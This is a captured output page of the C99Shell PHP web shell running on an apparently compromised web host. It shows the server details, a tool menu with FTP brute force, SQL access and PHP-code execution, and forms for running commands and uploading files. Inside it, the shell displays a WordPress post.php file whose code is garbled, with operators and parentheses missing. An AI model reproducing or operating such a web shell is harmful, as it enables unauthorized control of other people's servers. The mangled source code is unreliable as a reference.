!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-admin/   drwxr-xr-x
Free 183.04 GB of 490.84 GB (37.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     post.php (7.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Edit post administration panel.
 *
 * Manage Post actions: post, edit, delete, etc.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once( dirname__FILE__ ) . '/admin.php' );

$parent_file 'edit.php';
$submenu_file 'edit.php';

wp_reset_vars( array( 'action' ) );

if ( isset( 
$_GET['post'] ) )
     
$post_id $post_ID = (int) $_GET['post'];
elseif ( isset( 
$_POST['post_ID'] ) )
     
$post_id $post_ID = (int) $_POST['post_ID'];
else
     
$post_id $post_ID 0;

/**
 * @global string  $post_type
 * @global object  $post_type_object
 * @global WP_Post $post
 */
global $post_type$post_type_object$post;

if ( 
$post_id )
    
$post get_post$post_id );

if ( 
$post ) {
    
$post_type $post->post_type;
    
$post_type_object get_post_type_object$post_type );
}

if ( isset( 
$_POST['deletepost'] ) )
    
$action 'delete';
elseif ( isset(
$_POST['wp-preview']) && 'dopreview' == $_POST['wp-preview'] )
    
$action 'preview';

$sendback wp_get_referer();
if ( ! 
$sendback ||
     
strpos$sendback'post.php' ) !== false ||
     
strpos$sendback'post-new.php' ) !== false ) {
    if ( 
'attachment' == $post_type ) {
        
$sendback admin_url'upload.php' );
    } else {
        
$sendback admin_url'edit.php' );
        if ( ! empty( 
$post_type ) ) {
            
$sendback add_query_arg'post_type'$post_type$sendback );
        }
    }
} else {
    
$sendback remove_query_arg( array('trashed''untrashed''deleted''ids'), $sendback );
}

switch(
$action) {
case 
'post-quickdraft-save':
    
// Check nonce and capabilities
    
$nonce $_REQUEST['_wpnonce'];
    
$error_msg false;

    
// For output of the quickdraft dashboard widget
    
require_once ABSPATH 'wp-admin/includes/dashboard.php';

    if ( ! 
wp_verify_nonce$nonce'add-post' ) )
        
$error_msg __'Unable to submit this form, please refresh and try again.' );

    if ( ! 
current_user_canget_post_type_object'post' )->cap->create_posts ) ) {
        exit;
    }

    if ( 
$error_msg )
        return 
wp_dashboard_quick_press$error_msg );

    
$post get_post$_REQUEST['post_ID'] );
    
check_admin_referer'add-' $post->post_type );

    
$_POST['comment_status'] = get_default_comment_status$post->post_type );
    
$_POST['ping_status']    = get_default_comment_status$post->post_type'pingback' );

    
edit_post();
    
wp_dashboard_quick_press();
    exit;

case 
'postajaxpost':
case 
'post':
    
check_admin_referer'add-' $post_type );
    
$post_id 'postajaxpost' == $action edit_post() : write_post();
    
redirect_post$post_id );
    exit();

case 
'edit':
    
$editing true;

    if ( empty( 
$post_id ) ) {
        
wp_redirectadmin_url('post.php') );
        exit();
    }

    if ( ! 
$post )
        
wp_die__'You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?' ) );

    if ( ! 
$post_type_object )
        
wp_die__'Unknown post type.' ) );

    if ( ! 
in_array$typenowget_post_types( array( 'show_ui' => true ) ) ) ) {
        
wp_die__'Sorry, you are not allowed to edit posts in this post type.' ) );
    }

    if ( ! 
current_user_can'edit_post'$post_id ) )
        
wp_die__'Sorry, you are not allowed to edit this item.' ) );

    if ( 
'trash' == $post->post_status )
        
wp_die__'You can&#8217;t edit this item because it is in the Trash. Please restore it and try again.' ) );

    if ( ! empty( 
$_GET['get-post-lock'] ) ) {
        
check_admin_referer'lock-post_' $post_id );
        
wp_set_post_lock$post_id );
        
wp_redirectget_edit_post_link$post_id'url' ) );
        exit();
    }

    
$post_type $post->post_type;
    if ( 
'post' == $post_type ) {
        
$parent_file "edit.php";
        
$submenu_file "edit.php";
        
$post_new_file "post-new.php";
    } elseif ( 
'attachment' == $post_type ) {
        
$parent_file 'upload.php';
        
$submenu_file 'upload.php';
        
$post_new_file 'media-new.php';
    } else {
        if ( isset( 
$post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true )
            
$parent_file $post_type_object->show_in_menu;
        else
            
$parent_file "edit.php?post_type=$post_type";
        
$submenu_file "edit.php?post_type=$post_type";
        
$post_new_file "post-new.php?post_type=$post_type";
    }

    if ( ! 
wp_check_post_lock$post->ID ) ) {
        
$active_post_lock wp_set_post_lock$post->ID );

        if ( 
'attachment' !== $post_type )
            
wp_enqueue_script('autosave');
    }

    if ( 
is_multisite() ) {
        
add_action'admin_footer''_admin_notice_post_locked' );
    } else {
        
$check_users get_users( array( 'fields' => 'ID''number' => ) );

        if ( 
count$check_users ) > )
            
add_action'admin_footer''_admin_notice_post_locked' );

        unset( 
$check_users );
    }

    
$title $post_type_object->labels->edit_item;
    
$post get_post($post_idOBJECT'edit');

    if ( 
post_type_supports($post_type'comments') ) {
        
wp_enqueue_script('admin-comments');
        
enqueue_comment_hotkeys_js();
    }

    include( 
ABSPATH 'wp-admin/edit-form-advanced.php' );

    break;

case 
'editattachment':
    
check_admin_referer('update-post_' $post_id);

    
// Don't let these be changed
    
unset($_POST['guid']);
    
$_POST['post_type'] = 'attachment';

    
// Update the thumbnail filename
    
$newmeta wp_get_attachment_metadata$post_idtrue );
    
$newmeta['thumb'] = $_POST['thumb'];

    
wp_update_attachment_metadata$post_id$newmeta );

case 
'editpost':
    
check_admin_referer('update-post_' $post_id);

    
$post_id edit_post();

    
// Session cookie flag that the post was saved
    
if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id '-check' ) {
        
setcookie'wp-saving-post'$post_id '-saved'time() + DAY_IN_SECONDSADMIN_COOKIE_PATHCOOKIE_DOMAINis_ssl() );
    }

    
redirect_post($post_id); // Send user on their way while we keep working

    
exit();

case 
'trash':
    
check_admin_referer('trash-post_' $post_id);

    if ( ! 
$post )
        
wp_die__'The item you are trying to move to the Trash no longer exists.' ) );

    if ( ! 
$post_type_object )
        
wp_die__'Unknown post type.' ) );

    if ( ! 
current_user_can'delete_post'$post_id ) )
        
wp_die__'Sorry, you are not allowed to move this item to the Trash.' ) );

    if ( 
$user_id wp_check_post_lock$post_id ) ) {
        
$user get_userdata$user_id );
        
wp_diesprintf__'You cannot move this item to the Trash. %s is currently editing.' ), $user->display_name ) );
    }

    if ( ! 
wp_trash_post$post_id ) )
        
wp_die__'Error in moving to Trash.' ) );

    
wp_redirectadd_query_arg( array('trashed' => 1'ids' => $post_id), $sendback ) );
    exit();

case 
'untrash':
    
check_admin_referer('untrash-post_' $post_id);

    if ( ! 
$post )
        
wp_die__'The item you are trying to restore from the Trash no longer exists.' ) );

    if ( ! 
$post_type_object )
        
wp_die__'Unknown post type.' ) );

    if ( ! 
current_user_can'delete_post'$post_id ) )
        
wp_die__'Sorry, you are not allowed to restore this item from the Trash.' ) );

    if ( ! 
wp_untrash_post$post_id ) )
        
wp_die__'Error in restoring from Trash.' ) );

    
wp_redirectadd_query_arg('untrashed'1$sendback) );
    exit();

case 
'delete':
    
check_admin_referer('delete-post_' $post_id);

    if ( ! 
$post )
        
wp_die__'This item has already been deleted.' ) );

    if ( ! 
$post_type_object )
        
wp_die__'Unknown post type.' ) );

    if ( ! 
current_user_can'delete_post'$post_id ) )
        
wp_die__'Sorry, you are not allowed to delete this item.' ) );

    if ( 
$post->post_type == 'attachment' ) {
        
$force = ( ! MEDIA_TRASH );
        if ( ! 
wp_delete_attachment$post_id$force ) )
            
wp_die__'Error in deleting.' ) );
    } else {
        if ( ! 
wp_delete_post$post_idtrue ) )
            
wp_die__'Error in deleting.' ) );
    }

    
wp_redirectadd_query_arg('deleted'1$sendback) );
    exit();

case 
'preview':
    
check_admin_referer'update-post_' $post_id );

    
$url post_preview();

    
wp_redirect($url);
    exit();

default:
    
/**
     * Fires for a given custom post action request.
     *
     * The dynamic portion of the hook name, `$action`, refers to the custom post action.
     *
     * @since 4.6.0
     *
     * @param int $post_id Post ID sent with the request.
     */
    
do_action"post_action_{$action}"$post_id );

    
wp_redirectadmin_url('edit.php') );
    exit();
// end switch
include( ABSPATH 'wp-admin/admin-footer.php' );

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.007 ]--